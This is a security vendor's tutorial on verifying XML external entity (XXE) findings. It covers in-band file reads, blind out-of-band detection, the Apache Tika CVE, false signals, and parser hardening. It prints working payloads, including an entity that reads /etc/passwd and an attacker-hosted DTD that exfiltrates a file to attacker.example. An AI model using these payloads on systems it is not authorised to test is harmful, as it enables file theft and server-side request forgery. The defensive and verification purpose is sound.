A parsed entity is not proof: verifying XML external entity injection
You send a DOCTYPE, the parser accepts it, an entity expands where you referenced it, and maybe a stack trace leaks — so you file an XXE. But a processed entity only proves the parser reads a DTD, which most XML libraries do by default; it does not prove the parser reached a file or a network it should never have touched. A practitioner's guide to telling an echoed internal entity apart from a real external-entity resolution, proving in-band file reads and blind, out-of-band XXE safely, the 2025 Apache Tika flaw that arrived inside an uploaded PDF, and the one setting that closes the whole class.
By The Xalgorix Team
XML external entity injection has one of the lowest bars to a signal in all of AppSec and one of the highest bars to proof. You drop a DOCTYPE declaration into an XML body, the parser doesn't reject it, an entity expands where you referenced it, and if you're lucky a stack trace spills out. Plenty of reports stop right there and call it XXE. But every one of those observations is equally consistent with a parser that simply processes DTDs — the default, documented behaviour of a great many XML libraries. The vulnerability is not “the parser read my DTD.” It is that the parser resolved an external entity to something outside its intended sphere of control: a file on disk, or a request to a network you were never meant to reach.
Why a processed entity is not a vulnerability
The weakness has a precise name. CWE-611, Improper Restriction of XML External Entity Reference, is about a parser that processes XML containing entities whose URIs “resolve to documents outside of the intended sphere of control.” The operative word is external. An entity you define and reference inline — a local string the parser substitutes back into the tree — is just XML doing its job. It tells you nothing about whether the parser will follow a file:// or http:// URI off the box.
So when a DOCTYPE is accepted, you have learned one necessary precondition and nothing more. Three very different things can happen next, and only one of them is a reportable XXE.
Keep one other thing out of this bucket entirely. A DTD that defines nested entities to blow up memory — the classic “billion laughs” — is a denial-of-service problem, not file disclosure. It is worth reporting, but it is a different class with a different impact, and labelling it as data-exfiltrating XXE is exactly the kind of overclaim that gets a whole report distrusted.
Step one: make the parser hand you a file
The cleanest proof is the rarest in the wild: the application reflects the parsed value back to you. If some field in the response echoes an element you control, point an external entity at a local file and reference it in that element.
<?xml version="1.0"?> <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> If the response echoes productId back, it now carries the contents of /etc/passwd: attacker-chosen bytes, read by the server, returned to you. That is proof -- not a maybe.
That is the shape of PortSwigger's canonical file-retrieval lab, and it is the strongest evidence you can get: the content of a file you chose, not a timing blip or an error string. When you have it, the write-up is short. The problem is that most real targets never echo the value, and that is where the discipline begins.
When it is blind: prove it out-of-band
Blind XXE is the common case — the parser resolves entities but the application returns none of their values. You cannot read the file from the response, so the proof has to come from a side channel you control. Start by confirming the parser will reach out at all. Point an entity at a listener you own, with a unique token per injection point so a hit is attributable.
Regular external entity (needs the value to be used somewhere): <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://TOKEN.oast.example"> ]> If general external entities are blocked, move the fetch into the DTD with an XML parameter entity (declared with %): <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://TOKEN.oast.example"> %xxe; ]> Confirmation = a DNS lookup AND an HTTP request on your listener, arriving from the target's own egress IP. A hit from your IP, or DNS with no HTTP, is not the same thing.
To actually exfiltrate a file blind, host a malicious external DTD and have the target load it. The DTD reads the file into a parameter entity and smuggles its contents out in a URL you control. If you can load a DTD but have no outbound channel to receive the data, switch to an error-based variant: the same external DTD instead references a nonexistent path built from the file, so its bytes come back in-band in the parser's error message — which works only when the application returns those errors. Both variants still fetch an external DTD, because the nested parameter-entity trick they rely on is permitted there but rejected by many parsers inside the submitted document's own internal subset. When even a remote DTD is unreachable, the documented fallback is to repurpose a DTD file already present on the server, redefining one of its entities with the error-based payload.
Attacker-hosted http://attacker.example/x.dtd: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/?d=%file;'>"> %eval; %exfil; Submitted to the target: <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.example/x.dtd"> %dtd; ]> The bytes arrive in your query string, so this HTTP channel is reliable only for short, newline-free content -- newlines are not valid in a URI, and even a file's trailing newline can invalidate it. For arbitrary files, prefer ftp:// (more tolerant of the bytes) or the error-based variant below. Error-based variant -- still loads the external DTD, but the data returns in-band in the parser's error instead of outbound. Point the eval entity at a bad local path that embeds the file (keep the exfil/%exfil; names above so the final reference still fires): <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///bad/%file;'>"> Works only if the app returns parser errors to the client.
Standing up that out-of-band listener is not optional plumbing — for blind XXE it is the entire proof. It is the same infrastructure blind SSRF, blind RCE and XXE all depend on, which is why out-of-band application security testing is a capability you build once and reuse across whole bug classes rather than a trick for a single finding.
A real one: XXE arriving inside a PDF (Apache Tika, 2025)
XXE is easy to picture when the input is an obvious XML field. The instructive cases are the ones where it is not. In August 2025, Amazon researchers Paras Jain and Yakov Shafranovich reported CVE-2025-54988 in Apache Tika, the content-extraction library that sits quietly inside countless upload and search pipelines. The vulnerable path was the PDF parser's handling of an XFA form — itself an XML document embedded inside a PDF. Upload a crafted PDF, Tika parses the XFA, and the external entities fire. The GitHub Security Advisory rates it CVSS 9.3 and classifies it as CWE-611; per the advisory, an attacker “may be able to read sensitive data or trigger malicious requests to internal resources or third-party servers” — file disclosure and SSRF, in the versions of tika-parser-pdf-module from 1.13 up to the fix in 3.2.2.
Two things about the aftermath are worth more than the bug itself. First, the fix moved. A follow-up advisory, CVE-2025-66516, expanded the affected scope: the real repair belonged in tika-core, not just the PDF module, so anyone who had upgraded only the module they saw named in the first advisory was still exposed. That is the re-verification lesson in miniature — patching the reported component is not the same as closing the vulnerability, and the only way to know is to test the fixed system again.
Second, watch how the impact was described as it travelled. The authoritative advisory documents sensitive-file reads and attacker-chosen server-side requests. Some secondary coverage rounded that up to “and potentially remote code execution,” and the follow-up CVE was scored anywhere from high (a CVSS 3.1 base of 8.4 on one tracker) to a maximum 10.0 elsewhere — for what both advisories call the same underlying flaw. None of that is a reason to panic or to relax; it is a reason to verify the impact that is actually reachable in your deployment rather than inheriting the scariest number in the headline.
Signals that mislead — in both directions
A few patterns routinely turn into bad reports, or hide a real bug from a shallow test:
- An echoed internal entity. Defining an inline entity and seeing it reflected proves string substitution, which every conformant parser does. It is not evidence that an
externalentity would resolve. - “Expand entity references” is not a control. OWASP is explicit that a setting like Java's
setExpandEntityReferencesonly governs how entities appear in the parsed tree — it does not stop the parser from fetching an external resource. Toggling it is not a fix and its presence is not safety. - Newlines breaking exfil. A multi-line target file can silently break the naive out-of-band channel, producing no callback. That is a false negative, not a safe parser — read a single-line file or use a protocol that tolerates the bytes before you conclude the entity didn't resolve.
- XML hiding in plain sight. SVG images, OOXML office documents (
.docx,.xlsx), SOAP and SAML messages, RSS feeds and, as Tika showed, XFA inside a PDF are all XML under the hood. “Upload an image” or “import a document” can be an XML parser in disguise.
The fix that actually holds
Unlike most injection classes, XXE has a near-complete, one-line defence: if the application has no legitimate need for DTDs — and the overwhelming majority do not — refuse them outright. OWASP calls disabling DTD processing the safest option, and it closes the billion-laughs denial of service at the same time. Disabling DTDs fully mitigates the class; everything else is for the rare parser that must keep them.
// Primary defence: refuse DTDs entirely (also kills billion laughs). // Java, Xerces / DocumentBuilderFactory: factory.setFeature( "http://apache.org/xml/features/disallow-doctype-decl", true); // If you genuinely must allow a DTD, disable all three -- any one // left enabled keeps an exploitable path open: factory.setFeature( "http://xml.org/sax/features/external-general-entities", false); factory.setFeature( "http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature( "http://apache.org/xml/features/nonvalidating/load-external-dtd", false); // Fail closed: if a parser throws on a feature it does not know, // do not catch-and-continue -- that leaves it unhardened.
The same principle carries across stacks. In .NET, set XmlResolver to null or set DtdProcessing to Prohibit (the modern default for XmlReader). In PHP 8.0 and later the default libxml2-based parser already prevents XXE (external entity loading is off by default); on older versions call libxml_disable_entity_loader(true). In Python, parse untrusted XML with defusedxml rather than the standard-library modules. For streaming Java (StAX), set SUPPORT_DTD and IS_SUPPORTING_EXTERNAL_ENTITIES to false on the input factory. And because blind XXE is also an SSRF primitive, an egress firewall that stops the parse host from reaching your internal network or a cloud metadata endpoint is the backstop that holds when a parser is misconfigured anyway.
Proof, not a maybe
A queue of “possible XXE” tickets ages badly: the real one rots at the bottom with the parser-accepts-a-DTD false positives, and an engineer who has been burned by three bad reports triages the fourth to never. A finding that carries its evidence — the file's own bytes in the response, or the out-of-band callback that delivered them on an authorised target — is something a team fixes this sprint. That is the whole premise of exploit-verified testing: a result should be evidence, not a guess. Xalgorix works its 22-phase methodology, attempts the resolution, and reports XXE only when it can demonstrate it.
It is worth being honest about where that stops. Blind confirmation is only as good as the out-of-band infrastructure behind it — a reachable listener is one of the standing costs of running an agentic scanner yourself. And the highest-impact proof, like reading a specific secret or pulling cloud credentials through an XXE-to-SSRF chain, is exactly the testing you must not fully perform on a system you do not own. The same restraint the SSRF case demands applies here: a tool worth trusting proves the entity resolved and stops short of harm, rather than inventing a reach it could not safely show.
References
- PortSwigger Web Security Academy — XML external entity (XXE) injection
- PortSwigger Web Security Academy — Finding and exploiting blind XXE
- OWASP — XML External Entity Prevention Cheat Sheet
- MITRE — CWE-611: Improper Restriction of XML External Entity Reference
- GitHub Security Advisory — Apache Tika XXE via crafted XFA in a PDF (CVE-2025-54988)
- OSV — CVE-2025-66516 (Apache Tika, expanded scope; fix in tika-core)
Ready to see it prove a bug?
Start scanning on Cloud →